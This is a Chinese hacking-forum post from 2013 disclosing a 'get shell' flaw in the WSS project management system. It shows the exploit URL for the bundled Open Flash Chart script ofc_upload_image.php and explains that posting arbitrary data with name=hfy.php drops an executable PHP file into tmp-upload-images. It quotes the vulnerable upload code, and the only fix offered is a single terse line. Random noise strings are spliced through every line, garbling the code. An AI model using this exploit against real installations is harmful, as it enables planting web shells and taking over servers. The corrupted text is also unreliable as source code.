找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2499|回复: 0
打印 上一主题 下一主题

WSS项目管理系统Post get shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:38:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
POST 数据漏洞文件执行任意后缀文件保存/ w( N5 g9 U, s0 O: E) F( A
漏洞文件/chart/php-ofc-library/ofc_upload_image.php' i% `8 I5 [0 y8 W, h9 Y

5 [) _* z- L: I5 T/ G利用:3 a8 _: ~; u" Z8 o& p
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名' ~! f. N" ~; ^  I

' c3 J. R! v) n# q  r& X, C/ bPost任意数据3 P4 {, A0 h$ q8 i7 F% K2 ^
保存位置http://localhost/chart/tmp-upload-images/hfy.php
$ r& t3 _* j. t' t; \+ R# n) c; x8 [/ ?1 Z

4 }: O$ i% Y6 {最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~: d9 n( w( F. t/ R! I6 b
5 [2 H7 V: l: N3 s6 \5 R/ |
<?php
3 M! M' j0 A+ M9 w* O7 I# L/ U5 e7 D! B8 X
//  L) V* _5 w/ {: ?
// In Open Flash Chart -> save_image debug mode, you( [/ i; c+ J5 S! A, g! e
// will see the 'echo' text in a new window.+ _4 E5 w3 _" p# Q/ K$ Z
//7 ]3 f' L5 K; \( `

8 \8 h/ {& W# m5 B8 t' w: j/*) I8 r3 o: ?% @6 p4 U" N% z

- t/ }) p  `% o" ?( g& Vprint_r( $_GET );
! v' R0 x% r& N7 F! {! M% B% ^0 Cprint_r( $_POST );2 e% m# S0 i- r$ L0 A; Q
print_r( $_FILES );
/ e6 c) p0 d9 `& ^& }2 G. u; g, W& @# X6 b8 u: V
print_r( $GLOBALS );' \$ }8 A& A  g, P2 b- W* `
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
- e# c/ ?) }& y6 }. l  c  b; v' J6 ?8 F, \
*/
, d: t  T# O5 A2 t* s0 u4 z( I0 o// default path for the image to be stored //
" W. [% _: j& [2 [# |$default_path = '../tmp-upload-images/';5 l0 ]0 p! A' r4 h7 z9 ]' f  P
8 S- E1 ]/ n0 j9 c* Q- Y1 ?" D
if (!file_exists($default_path)) mkdir($default_path, 0777, true);. ]$ L+ l2 q2 M6 Z2 e! O9 \* W

4 D9 v% h( H& b; w  ?' t+ ]2 c3 F// full path to the saved image including filename //
  A2 d4 E0 O- q4 F: I$destination = $default_path . basename( $_GET[ 'name' ] );
5 ~, R/ S% a* ^2 X* f
  X5 n0 O$ g  ~9 X# F8 i9 uecho 'Saving your image to: '. $destination;+ a; b3 R- ]4 z$ Y& W
// print_r( $_POST );$ ]& g; S1 o1 w  J
// print_r( $_SERVER );* y8 G- }9 H) K; c. d% j; }
// echo $HTTP_RAW_POST_DATA;
" f: _) ~# A+ @" A' _" Q# J8 B3 L- O2 ]8 f* d, ~$ Z. p- i
//
, f9 ~7 z9 l2 B; q3 ~// POST data is usually string data, but we are passing a RAW .png
. a( w# V! ^* y% ]4 R+ O: H// so PHP is a bit confused and $_POST is empty. But it has saved
& F6 G8 m) A( S* G+ R' [4 y// the raw bits into $HTTP_RAW_POST_DATA
, t( I0 H  I: D4 u//+ [4 z( P6 g, ~7 T' n
0 ^! ~, M: N! ]# d
$jfh = fopen($destination, 'w') or die("can't open file");
/ H- V: v# ^0 @2 ofwrite($jfh, $HTTP_RAW_POST_DATA);1 }+ X3 D. V" C: ?% \$ u
fclose($jfh);
; B, d! g3 l8 C9 _+ `
9 \; o$ @  ]+ f+ z# |//" ?8 u& B  t" _4 T" E, F/ g
// LOOK:
' E+ p$ B5 X! R//8 S5 H/ o5 T! q
exit();
' ], S! V( n; j+ K; K, R//
" Q0 C  m$ J3 P' Z# T// PHP5:0 a8 R: w# D* ]2 g7 Q& X% t2 B
//$ f- |; E5 I9 p3 B

" u/ Y3 R2 ]/ m$ x
  R, v" V8 h2 K* t// default path for the image to be stored //
  g8 l9 z9 ~( a' u; Y! B$default_path = 'tmp-upload-images/';9 s& Y2 G! I& C0 T, o

9 `3 _" l( F1 |% O5 `if (!file_exists($default_path)) mkdir($default_path, 0777, true);5 p2 U! O3 T# D3 x# O

+ e+ a: ^4 F. Q+ p2 R// full path to the saved image including filename //) [9 w# a; X$ ^; r. c& n
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
1 V9 R/ }2 z2 t6 {' }( r+ e  x
! j. B! ~4 @# F7 x0 g# g7 G+ w// move the image into the specified directory //
, J; O# T6 V' sif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
( Z. X) g% b( w, h- G7 V5 C    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";  A; F7 ?; [  t! C+ K, S$ g
} else {4 Q/ L6 ]% m' V5 M; E1 X/ }
    echo "FILE UPLOAD FAILED";
8 j8 S) E7 b5 F: B- P; u1 y/ n) m0 o$ z& z}
% w$ U- R9 ]  e9 D. o( B# a
5 Q7 U' e$ [8 W; @2 w6 j  d
. w" `5 ^5 r" z7 t) K) E?>
% d4 q  Q4 K; M8 B( r1 R) u( U5 C. J) h
- z6 D; Z7 ^; E/ z: |% O% e; Q5 p4 G; N. Z2 f+ T3 ^3 S9 @  W# [
$ A: M7 s; M9 y) o/ E: W3 t" @
( {/ U* }* X5 q4 a
7 @+ ^' q0 X$ w( M
  L( b! _# p! l6 ?/ h7 F; s
修复方案:
( ?6 f5 X  c- ]# t5 b% U9 L这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞
, \  d6 _$ N* G+ \* H+ L
& ]$ p- Z7 m4 D9 T% c* T$ S+ e0 t2 T( D; ]( R
7 d( j* r/ r8 `
6 A8 @- j! ]8 c" m) d- D

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表